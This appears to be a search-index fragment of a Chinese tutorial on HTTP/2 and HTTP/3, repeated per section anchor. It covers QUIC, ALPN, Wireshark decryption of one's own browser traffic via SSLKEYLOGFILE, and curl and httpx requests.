Files\\Google\\Chrome\\Application\\chrome.exe\" Wireshark 配置: Edit → Preferences → Protocols → TLS (Pre)-Master-Secret log filename: 选择 sslkeys.log 重启 Wireshark 分析 HTTP/2 帧: Frame 123: HEADERS Stream ID: 3 :method: GET :path: /api/data :authority: example.com Frame 125: DATA Stream ID: 3 Data Length: 1024 Payload: {\"result\": ...} 使用 Chrome DevTools 查看 HTTP/2 协议: Network 面板 → 右键表头 → 勾选 “Protocol” 看到 h2 表示 HTTP/2 查看帧详情 (实验性): chrome://net-internals/#http2 查看活跃的 HTTP/2 会话和流 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:4:2","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#22-http2-抓包与分析"},{"categories":null,"collections":null,"content":"2.2 HTTP/2 抓包与分析 使用 Wireshark 分析 HTTP/2 步骤: 启动抓包: 捕获 HTTPS 流量 解密 TLS: 设置 SSL/TLS 解密（需要私钥或浏览器密钥日志） 过滤 HTTP/2: 使用过滤器 http2 Chrome 导出密钥日志: # macOS/Linux export SSLKEYLOGFILE=~/sslkeys.log /Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome # Windows set SSLKEYLOGFILE=C:\\sslkeys.log \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" Wireshark 配置: Edit → Preferences → Protocols → TLS (Pre)-Master-Secret log filename: 选择 sslkeys.log 重启 Wireshark 分析 HTTP/2 帧: Frame 123: HEADERS Stream ID: 3 :method: GET :path: /api/data :authority: example.com Frame 125: DATA Stream ID: 3 Data Length: 1024 Payload: {\"result\": ...} 使用 Chrome DevTools 查看 HTTP/2 协议: Network 面板 → 右键表头 → 勾选 “Protocol” 看到 h2 表示 HTTP/2 查看帧详情 (实验性): chrome://net-internals/#http2 查看活跃的 HTTP/2 会话和流 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:4:2","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#使用-wireshark-分析-http2"},{"categories":null,"collections":null,"content":"2.2 HTTP/2 抓包与分析 使用 Wireshark 分析 HTTP/2 步骤: 启动抓包: 捕获 HTTPS 流量 解密 TLS: 设置 SSL/TLS 解密（需要私钥或浏览器密钥日志） 过滤 HTTP/2: 使用过滤器 http2 Chrome 导出密钥日志: # macOS/Linux export SSLKEYLOGFILE=~/sslkeys.log /Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome # Windows set SSLKEYLOGFILE=C:\\sslkeys.log \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" Wireshark 配置: Edit → Preferences → Protocols → TLS (Pre)-Master-Secret log filename: 选择 sslkeys.log 重启 Wireshark 分析 HTTP/2 帧: Frame 123: HEADERS Stream ID: 3 :method: GET :path: /api/data :authority: example.com Frame 125: DATA Stream ID: 3 Data Length: 1024 Payload: {\"result\": ...} 使用 Chrome DevTools 查看 HTTP/2 协议: Network 面板 → 右键表头 → 勾选 “Protocol” 看到 h2 表示 HTTP/2 查看帧详情 (实验性): chrome://net-internals/#http2 查看活跃的 HTTP/2 会话和流 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:4:2","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#使用-chrome-devtools"},{"categories":null,"collections":null,"content":"2.3 HTTP/2 逆向实战 案例: 复现 HTTP/2 请求 问题: curl 默认使用 HTTP/1.1 解决: 使用 curl 的 HTTP/2 支持 # 强制使用 HTTP/2 curl --http2 https://example.com/api/data # 查看详细信息 curl --http2 -v https://example.com/api/data # 输出示例 * Using HTTP2, server supports multi-use * Connection state changed (HTTP/2 confirmed) * Using Stream ID: 1 (easy handle 0x7f9c8c004000) \u003e GET /api/data HTTP/2 \u003e Host: example.com \u003e User-Agent: curl/7.79.1 Python 请求 (使用 httpx): import httpx # httpx 默认支持 HTTP/2 async with httpx.AsyncClient(http2=True) as client: response = await client.get('https://example.com/api/data') print(f\"HTTP版本: {response.http_version}\") # HTTP/2 print(response.json()) 案例: 识别服务器推送 在 Chrome DevTools 中: Initiator 列显示 “Push / Other” Protocol 列显示 h2 在代码中检测: // Service Worker 中拦截服务器推送 self.addEventListener(\"push\", function (event) { console.log(\"Received server push:\", event); }); // 性能 API 检测 performance.getEntriesByType(\"navigation\").forEach((entry) =\u003e { if (entry.nextHopProtocol === \"h2\") { console.log(\"使用 HTTP/2\"); } }); ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:4:3","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#23-http2-逆向实战"},{"categories":null,"collections":null,"content":"2.3 HTTP/2 逆向实战 案例: 复现 HTTP/2 请求 问题: curl 默认使用 HTTP/1.1 解决: 使用 curl 的 HTTP/2 支持 # 强制使用 HTTP/2 curl --http2 https://example.com/api/data # 查看详细信息 curl --http2 -v https://example.com/api/data # 输出示例 * Using HTTP2, server supports multi-use * Connection state changed (HTTP/2 confirmed) * Using Stream ID: 1 (easy handle 0x7f9c8c004000) \u003e GET /api/data HTTP/2 \u003e Host: example.com \u003e User-Agent: curl/7.79.1 Python 请求 (使用 httpx): import httpx # httpx 默认支持 HTTP/2 async with httpx.AsyncClient(http2=True) as client: response = await client.get('https://example.com/api/data') print(f\"HTTP版本: {response.http_version}\") # HTTP/2 print(response.json()) 案例: 识别服务器推送 在 Chrome DevTools 中: Initiator 列显示 “Push / Other” Protocol 列显示 h2 在代码中检测: // Service Worker 中拦截服务器推送 self.addEventListener(\"push\", function (event) { console.log(\"Received server push:\", event); }); // 性能 API 检测 performance.getEntriesByType(\"navigation\").forEach((entry) =\u003e { if (entry.nextHopProtocol === \"h2\") { console.log(\"使用 HTTP/2\"); } }); ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:4:3","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#案例-复现-http2-请求"},{"categories":null,"collections":null,"content":"2.3 HTTP/2 逆向实战 案例: 复现 HTTP/2 请求 问题: curl 默认使用 HTTP/1.1 解决: 使用 curl 的 HTTP/2 支持 # 强制使用 HTTP/2 curl --http2 https://example.com/api/data # 查看详细信息 curl --http2 -v https://example.com/api/data # 输出示例 * Using HTTP2, server supports multi-use * Connection state changed (HTTP/2 confirmed) * Using Stream ID: 1 (easy handle 0x7f9c8c004000) \u003e GET /api/data HTTP/2 \u003e Host: example.com \u003e User-Agent: curl/7.79.1 Python 请求 (使用 httpx): import httpx # httpx 默认支持 HTTP/2 async with httpx.AsyncClient(http2=True) as client: response = await client.get('https://example.com/api/data') print(f\"HTTP版本: {response.http_version}\") # HTTP/2 print(response.json()) 案例: 识别服务器推送 在 Chrome DevTools 中: Initiator 列显示 “Push / Other” Protocol 列显示 h2 在代码中检测: // Service Worker 中拦截服务器推送 self.addEventListener(\"push\", function (event) { console.log(\"Received server push:\", event); }); // 性能 API 检测 performance.getEntriesByType(\"navigation\").forEach((entry) =\u003e { if (entry.nextHopProtocol === \"h2\") { console.log(\"使用 HTTP/2\"); } }); ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:4:3","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#案例-识别服务器推送"},{"categories":null,"collections":null,"content":"3. HTTP/3 详解 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:5:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#3-http3-详解"},{"categories":null,"collections":null,"content":"3.1 核心特性 3.1.1 基于 QUIC 协议 QUIC (Quick UDP Internet Connections): 基于 UDP 而非 TCP 内置 TLS 1.3 加密 由 Google 开发，后标准化为 IETF QUIC 协议栈对比: HTTP/1.1 HTTP/2 HTTP/3 -------- ------ ------ HTTP HTTP/2 HTTP/3 TCP TCP QUIC TLS TLS (内置 TLS 1.3) IP IP UDP IP 3.1.2 0-RTT 连接建立 TCP + TLS 1.2 (HTTP/1.1, HTTP/2): 客户端 -\u003e 服务器: SYN (1 RTT) 服务器 -\u003e 客户端: SYN-ACK 客户端 -\u003e 服务器: ACK 客户端 -\u003e 服务器: ClientHello (2 RTT) 服务器 -\u003e 客户端: ServerHello, Certificate 客户端 -\u003e 服务器: Finished 客户端 -\u003e 服务器: HTTP Request (3 RTT) QUIC (HTTP/3): 首次连接: 客户端 -\u003e 服务器: Initial Packet (含 ClientHello) (1 RTT) 服务器 -\u003e 客户端: Handshake Packet 客户端 -\u003e 服务器: HTTP Request (1 RTT 完成) 后续连接 (0-RTT): 客户端 -\u003e 服务器: 0-RTT Packet (含加密的 HTTP 请求) (0 RTT!) 性能提升: 可减少 66% 的握手延迟 3.1.3 消除队头阻塞 HTTP/2 的问题: TCP 层面仍有队头阻塞 TCP 连接 | ├── Stream 1: ████████ (丢包!) ████████ ├── Stream 3: ████████ (等待) ████████ └── Stream 5: ████████ (等待) ████████ 当 TCP 丢包时，所有 HTTP/2 流都会被阻塞，直到重传完成。 HTTP/3 的解决: QUIC 独立流 QUIC 连接 | ├── Stream 1: ████████ (丢包!) ████████ ├── Stream 3: ████████ (继续传输) ████████ └── Stream 5: ████████ (继续传输) ████████ 每个 QUIC 流独立，丢包只影响当前流。 3.1.4 连接迁移 (Connection Migration) 场景: 移动设备从 WiFi 切换到 4G TCP/HTTP/2: 连接断开，需要重新建立 WiFi (IP: 192.168.1.10) ----X----\u003e 切换到 4G (IP: 10.0.0.5) 需要重新三次握手 + TLS 握手 + HTTP/2 建立 QUIC/HTTP/3: 连接保持 WiFi (连接 ID: abc123) -----\u003e 切换到 4G (连接 ID: abc123) 通过连接 ID 识别，无需重新握手 优势: 移动网络切换无感知 视频播放、下载不中断 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:5:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#31-核心特性"},{"categories":null,"collections":null,"content":"3.1 核心特性 3.1.1 基于 QUIC 协议 QUIC (Quick UDP Internet Connections): 基于 UDP 而非 TCP 内置 TLS 1.3 加密 由 Google 开发，后标准化为 IETF QUIC 协议栈对比: HTTP/1.1 HTTP/2 HTTP/3 -------- ------ ------ HTTP HTTP/2 HTTP/3 TCP TCP QUIC TLS TLS (内置 TLS 1.3) IP IP UDP IP 3.1.2 0-RTT 连接建立 TCP + TLS 1.2 (HTTP/1.1, HTTP/2): 客户端 -\u003e 服务器: SYN (1 RTT) 服务器 -\u003e 客户端: SYN-ACK 客户端 -\u003e 服务器: ACK 客户端 -\u003e 服务器: ClientHello (2 RTT) 服务器 -\u003e 客户端: ServerHello, Certificate 客户端 -\u003e 服务器: Finished 客户端 -\u003e 服务器: HTTP Request (3 RTT) QUIC (HTTP/3): 首次连接: 客户端 -\u003e 服务器: Initial Packet (含 ClientHello) (1 RTT) 服务器 -\u003e 客户端: Handshake Packet 客户端 -\u003e 服务器: HTTP Request (1 RTT 完成) 后续连接 (0-RTT): 客户端 -\u003e 服务器: 0-RTT Packet (含加密的 HTTP 请求) (0 RTT!) 性能提升: 可减少 66% 的握手延迟 3.1.3 消除队头阻塞 HTTP/2 的问题: TCP 层面仍有队头阻塞 TCP 连接 | ├── Stream 1: ████████ (丢包!) ████████ ├── Stream 3: ████████ (等待) ████████ └── Stream 5: ████████ (等待) ████████ 当 TCP 丢包时，所有 HTTP/2 流都会被阻塞，直到重传完成。 HTTP/3 的解决: QUIC 独立流 QUIC 连接 | ├── Stream 1: ████████ (丢包!) ████████ ├── Stream 3: ████████ (继续传输) ████████ └── Stream 5: ████████ (继续传输) ████████ 每个 QUIC 流独立，丢包只影响当前流。 3.1.4 连接迁移 (Connection Migration) 场景: 移动设备从 WiFi 切换到 4G TCP/HTTP/2: 连接断开，需要重新建立 WiFi (IP: 192.168.1.10) ----X----\u003e 切换到 4G (IP: 10.0.0.5) 需要重新三次握手 + TLS 握手 + HTTP/2 建立 QUIC/HTTP/3: 连接保持 WiFi (连接 ID: abc123) -----\u003e 切换到 4G (连接 ID: abc123) 通过连接 ID 识别，无需重新握手 优势: 移动网络切换无感知 视频播放、下载不中断 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:5:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#311-基于-quic-协议"},{"categories":null,"collections":null,"content":"3.1 核心特性 3.1.1 基于 QUIC 协议 QUIC (Quick UDP Internet Connections): 基于 UDP 而非 TCP 内置 TLS 1.3 加密 由 Google 开发，后标准化为 IETF QUIC 协议栈对比: HTTP/1.1 HTTP/2 HTTP/3 -------- ------ ------ HTTP HTTP/2 HTTP/3 TCP TCP QUIC TLS TLS (内置 TLS 1.3) IP IP UDP IP 3.1.2 0-RTT 连接建立 TCP + TLS 1.2 (HTTP/1.1, HTTP/2): 客户端 -\u003e 服务器: SYN (1 RTT) 服务器 -\u003e 客户端: SYN-ACK 客户端 -\u003e 服务器: ACK 客户端 -\u003e 服务器: ClientHello (2 RTT) 服务器 -\u003e 客户端: ServerHello, Certificate 客户端 -\u003e 服务器: Finished 客户端 -\u003e 服务器: HTTP Request (3 RTT) QUIC (HTTP/3): 首次连接: 客户端 -\u003e 服务器: Initial Packet (含 ClientHello) (1 RTT) 服务器 -\u003e 客户端: Handshake Packet 客户端 -\u003e 服务器: HTTP Request (1 RTT 完成) 后续连接 (0-RTT): 客户端 -\u003e 服务器: 0-RTT Packet (含加密的 HTTP 请求) (0 RTT!) 性能提升: 可减少 66% 的握手延迟 3.1.3 消除队头阻塞 HTTP/2 的问题: TCP 层面仍有队头阻塞 TCP 连接 | ├── Stream 1: ████████ (丢包!) ████████ ├── Stream 3: ████████ (等待) ████████ └── Stream 5: ████████ (等待) ████████ 当 TCP 丢包时，所有 HTTP/2 流都会被阻塞，直到重传完成。 HTTP/3 的解决: QUIC 独立流 QUIC 连接 | ├── Stream 1: ████████ (丢包!) ████████ ├── Stream 3: ████████ (继续传输) ████████ └── Stream 5: ████████ (继续传输) ████████ 每个 QUIC 流独立，丢包只影响当前流。 3.1.4 连接迁移 (Connection Migration) 场景: 移动设备从 WiFi 切换到 4G TCP/HTTP/2: 连接断开，需要重新建立 WiFi (IP: 192.168.1.10) ----X----\u003e 切换到 4G (IP: 10.0.0.5) 需要重新三次握手 + TLS 握手 + HTTP/2 建立 QUIC/HTTP/3: 连接保持 WiFi (连接 ID: abc123) -----\u003e 切换到 4G (连接 ID: abc123) 通过连接 ID 识别，无需重新握手 优势: 移动网络切换无感知 视频播放、下载不中断 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:5:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#312-0-rtt-连接建立"},{"categories":null,"collections":null,"content":"3.1 核心特性 3.1.1 基于 QUIC 协议 QUIC (Quick UDP Internet Connections): 基于 UDP 而非 TCP 内置 TLS 1.3 加密 由 Google 开发，后标准化为 IETF QUIC 协议栈对比: HTTP/1.1 HTTP/2 HTTP/3 -------- ------ ------ HTTP HTTP/2 HTTP/3 TCP TCP QUIC TLS TLS (内置 TLS 1.3) IP IP UDP IP 3.1.2 0-RTT 连接建立 TCP + TLS 1.2 (HTTP/1.1, HTTP/2): 客户端 -\u003e 服务器: SYN (1 RTT) 服务器 -\u003e 客户端: SYN-ACK 客户端 -\u003e 服务器: ACK 客户端 -\u003e 服务器: ClientHello (2 RTT) 服务器 -\u003e 客户端: ServerHello, Certificate 客户端 -\u003e 服务器: Finished 客户端 -\u003e 服务器: HTTP Request (3 RTT) QUIC (HTTP/3): 首次连接: 客户端 -\u003e 服务器: Initial Packet (含 ClientHello) (1 RTT) 服务器 -\u003e 客户端: Handshake Packet 客户端 -\u003e 服务器: HTTP Request (1 RTT 完成) 后续连接 (0-RTT): 客户端 -\u003e 服务器: 0-RTT Packet (含加密的 HTTP 请求) (0 RTT!) 性能提升: 可减少 66% 的握手延迟 3.1.3 消除队头阻塞 HTTP/2 的问题: TCP 层面仍有队头阻塞 TCP 连接 | ├── Stream 1: ████████ (丢包!) ████████ ├── Stream 3: ████████ (等待) ████████ └── Stream 5: ████████ (等待) ████████ 当 TCP 丢包时，所有 HTTP/2 流都会被阻塞，直到重传完成。 HTTP/3 的解决: QUIC 独立流 QUIC 连接 | ├── Stream 1: ████████ (丢包!) ████████ ├── Stream 3: ████████ (继续传输) ████████ └── Stream 5: ████████ (继续传输) ████████ 每个 QUIC 流独立，丢包只影响当前流。 3.1.4 连接迁移 (Connection Migration) 场景: 移动设备从 WiFi 切换到 4G TCP/HTTP/2: 连接断开，需要重新建立 WiFi (IP: 192.168.1.10) ----X----\u003e 切换到 4G (IP: 10.0.0.5) 需要重新三次握手 + TLS 握手 + HTTP/2 建立 QUIC/HTTP/3: 连接保持 WiFi (连接 ID: abc123) -----\u003e 切换到 4G (连接 ID: abc123) 通过连接 ID 识别，无需重新握手 优势: 移动网络切换无感知 视频播放、下载不中断 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:5:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#313-消除队头阻塞"},{"categories":null,"collections":null,"content":"3.1 核心特性 3.1.1 基于 QUIC 协议 QUIC (Quick UDP Internet Connections): 基于 UDP 而非 TCP 内置 TLS 1.3 加密 由 Google 开发，后标准化为 IETF QUIC 协议栈对比: HTTP/1.1 HTTP/2 HTTP/3 -------- ------ ------ HTTP HTTP/2 HTTP/3 TCP TCP QUIC TLS TLS (内置 TLS 1.3) IP IP UDP IP 3.1.2 0-RTT 连接建立 TCP + TLS 1.2 (HTTP/1.1, HTTP/2): 客户端 -\u003e 服务器: SYN (1 RTT) 服务器 -\u003e 客户端: SYN-ACK 客户端 -\u003e 服务器: ACK 客户端 -\u003e 服务器: ClientHello (2 RTT) 服务器 -\u003e 客户端: ServerHello, Certificate 客户端 -\u003e 服务器: Finished 客户端 -\u003e 服务器: HTTP Request (3 RTT) QUIC (HTTP/3): 首次连接: 客户端 -\u003e 服务器: Initial Packet (含 ClientHello) (1 RTT) 服务器 -\u003e 客户端: Handshake Packet 客户端 -\u003e 服务器: HTTP Request (1 RTT 完成) 后续连接 (0-RTT): 客户端 -\u003e 服务器: 0-RTT Packet (含加密的 HTTP 请求) (0 RTT!) 性能提升: 可减少 66% 的握手延迟 3.1.3 消除队头阻塞 HTTP/2 的问题: TCP 层面仍有队头阻塞 TCP 连接 | ├── Stream 1: ████████ (丢包!) ████████ ├── Stream 3: ████████ (等待) ████████ └── Stream 5: ████████ (等待) ████████ 当 TCP 丢包时，所有 HTTP/2 流都会被阻塞，直到重传完成。 HTTP/3 的解决: QUIC 独立流 QUIC 连接 | ├── Stream 1: ████████ (丢包!) ████████ ├── Stream 3: ████████ (继续传输) ████████ └── Stream 5: ████████ (继续传输) ████████ 每个 QUIC 流独立，丢包只影响当前流。 3.1.4 连接迁移 (Connection Migration) 场景: 移动设备从 WiFi 切换到 4G TCP/HTTP/2: 连接断开，需要重新建立 WiFi (IP: 192.168.1.10) ----X----\u003e 切换到 4G (IP: 10.0.0.5) 需要重新三次握手 + TLS 握手 + HTTP/2 建立 QUIC/HTTP/3: 连接保持 WiFi (连接 ID: abc123) -----\u003e 切换到 4G (连接 ID: abc123) 通过连接 ID 识别，无需重新握手 优势: 移动网络切换无感知 视频播放、下载不中断 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:5:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#314-连接迁移-connection-migration"},{"categories":null,"collections":null,"content":"3.2 HTTP/3 抓包与分析 Wireshark 抓包 HTTP/3 步骤: 捕获 UDP 流量: HTTP/3 使用 UDP 端口（通常 443） 解密 QUIC: 需要 QUIC 密钥日志 Chrome 导出 QUIC 密钥: export SSLKEYLOGFILE=~/sslkeys.log /Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --enable-quic Wireshark 过滤器: quic http3 Chrome 查看 HTTP/3 检测方法: Network 面板: Protocol 列显示 h3 或 h3-29 chrome://net-internals/#quic: 查看 QUIC 会话详情 开发者工具: 在 Network 面板的 Protocol 列查看 JavaScript 检测: // 检测 HTTP 版本 fetch(\"https://example.com/api/data\").then((response) =\u003e { console.log(response.headers.get(\"alt-svc\")); // 输出: h3=\":443\"; ma=2592000 }); // Performance API performance.getEntriesByType(\"resource\").forEach((entry) =\u003e { console.log(entry.nextHopProtocol); // h3, h2, http/1.1 }); ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:5:2","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#32-http3-抓包与分析"},{"categories":null,"collections":null,"content":"3.2 HTTP/3 抓包与分析 Wireshark 抓包 HTTP/3 步骤: 捕获 UDP 流量: HTTP/3 使用 UDP 端口（通常 443） 解密 QUIC: 需要 QUIC 密钥日志 Chrome 导出 QUIC 密钥: export SSLKEYLOGFILE=~/sslkeys.log /Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --enable-quic Wireshark 过滤器: quic http3 Chrome 查看 HTTP/3 检测方法: Network 面板: Protocol 列显示 h3 或 h3-29 chrome://net-internals/#quic: 查看 QUIC 会话详情 开发者工具: 在 Network 面板的 Protocol 列查看 JavaScript 检测: // 检测 HTTP 版本 fetch(\"https://example.com/api/data\").then((response) =\u003e { console.log(response.headers.get(\"alt-svc\")); // 输出: h3=\":443\"; ma=2592000 }); // Performance API performance.getEntriesByType(\"resource\").forEach((entry) =\u003e { console.log(entry.nextHopProtocol); // h3, h2, http/1.1 }); ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:5:2","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#wireshark-抓包-http3"},{"categories":null,"collections":null,"content":"3.2 HTTP/3 抓包与分析 Wireshark 抓包 HTTP/3 步骤: 捕获 UDP 流量: HTTP/3 使用 UDP 端口（通常 443） 解密 QUIC: 需要 QUIC 密钥日志 Chrome 导出 QUIC 密钥: export SSLKEYLOGFILE=~/sslkeys.log /Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --enable-quic Wireshark 过滤器: quic http3 Chrome 查看 HTTP/3 检测方法: Network 面板: Protocol 列显示 h3 或 h3-29 chrome://net-internals/#quic: 查看 QUIC 会话详情 开发者工具: 在 Network 面板的 Protocol 列查看 JavaScript 检测: // 检测 HTTP 版本 fetch(\"https://example.com/api/data\").then((response) =\u003e { console.log(response.headers.get(\"alt-svc\")); // 输出: h3=\":443\"; ma=2592000 }); // Performance API performance.getEntriesByType(\"resource\").forEach((entry) =\u003e { console.log(entry.nextHopProtocol); // h3, h2, http/1.1 }); ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:5:2","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#chrome-查看-http3"},{"categories":null,"collections":null,"content":"3.3 HTTP/3 逆向实战 案例: 使用 curl 发送 HTTP/3 请求 安装支持 HTTP/3 的 curl (需要编译): # macOS (使用 Homebrew) brew install curl --with-nghttp3 # 检查版本 curl --version # Features: ... HTTP3 ... 发送请求: # 强制使用 HTTP/3 curl --http3 https://cloudflare-quic.com/ # 查看详细信息 curl --http3 -v https://cloudflare-quic.com/ # * Using HTTP/3 Stream ID: 0 (easy handle 0x...) # \u003e GET / HTTP/3 # \u003e Host: cloudflare-quic.com 案例: Python 使用 HTTP/3 使用 httpx (实验性支持): import httpx # 需要安装 HTTP/3 支持 # pip install httpx[http3] async with httpx.AsyncClient(http3=True) as client: response = await client.get('https://cloudflare-quic.com/') print(f\"HTTP版本: {response.http_version}\") # HTTP/3 print(response.text) ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:5:3","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#33-http3-逆向实战"},{"categories":null,"collections":null,"content":"3.3 HTTP/3 逆向实战 案例: 使用 curl 发送 HTTP/3 请求 安装支持 HTTP/3 的 curl (需要编译): # macOS (使用 Homebrew) brew install curl --with-nghttp3 # 检查版本 curl --version # Features: ... HTTP3 ... 发送请求: # 强制使用 HTTP/3 curl --http3 https://cloudflare-quic.com/ # 查看详细信息 curl --http3 -v https://cloudflare-quic.com/ # * Using HTTP/3 Stream ID: 0 (easy handle 0x...) # \u003e GET / HTTP/3 # \u003e Host: cloudflare-quic.com 案例: Python 使用 HTTP/3 使用 httpx (实验性支持): import httpx # 需要安装 HTTP/3 支持 # pip install httpx[http3] async with httpx.AsyncClient(http3=True) as client: response = await client.get('https://cloudflare-quic.com/') print(f\"HTTP版本: {response.http_version}\") # HTTP/3 print(response.text) ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:5:3","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#案例-使用-curl-发送-http3-请求"},{"categories":null,"collections":null,"content":"3.3 HTTP/3 逆向实战 案例: 使用 curl 发送 HTTP/3 请求 安装支持 HTTP/3 的 curl (需要编译): # macOS (使用 Homebrew) brew install curl --with-nghttp3 # 检查版本 curl --version # Features: ... HTTP3 ... 发送请求: # 强制使用 HTTP/3 curl --http3 https://cloudflare-quic.com/ # 查看详细信息 curl --http3 -v https://cloudflare-quic.com/ # * Using HTTP/3 Stream ID: 0 (easy handle 0x...) # \u003e GET / HTTP/3 # \u003e Host: cloudflare-quic.com 案例: Python 使用 HTTP/3 使用 httpx (实验性支持): import httpx # 需要安装 HTTP/3 支持 # pip install httpx[http3] async with httpx.AsyncClient(http3=True) as client: response = await client.get('https://cloudflare-quic.com/') print(f\"HTTP版本: {response.http_version}\") # HTTP/3 print(response.text) ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:5:3","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#案例-python-使用-http3"},{"categories":null,"collections":null,"content":"4. 版本对比总结 特性 HTTP/1.1 HTTP/2 HTTP/3 协议类型 文本 二进制 二进制 传输层 TCP TCP UDP (QUIC) 加密 可选 (HTTPS) 强制 TLS 内置 TLS 1.3 多路复用 ❌ ✅ ✅ 队头阻塞 严重 TCP 层 无 头部压缩 ❌ HPACK QPACK 服务器推送 ❌ ✅ ✅ 连接建立 3 RTT (TCP+TLS) 3 RTT 1 RTT (0-RTT 可用) 连接迁移 ❌ ❌ ✅ 浏览器支持 100% 97%+ 75%+ (增长中) ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:6:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#4-版本对比总结"},{"categories":null,"collections":null,"content":"5. 逆向工程注意事项 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:7:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#5-逆向工程注意事项"},{"categories":null,"collections":null,"content":"5.1 协议协商 (ALPN) 服务器通过 ALPN (Application-Layer Protocol Negotiation) 告知客户端支持的协议。 TLS 握手中的 ALPN: ClientHello: ALPN Extension: [h2, http/1.1] ServerHello: ALPN Extension: h2 HTTP/3 协商 (通过 Alt-Svc 头): HTTP/2 200 OK Alt-Svc: h3=\":443\"; ma=2592000 # ma = max-age (缓存时间) 客户端收到后，后续请求会尝试使用 HTTP/3。 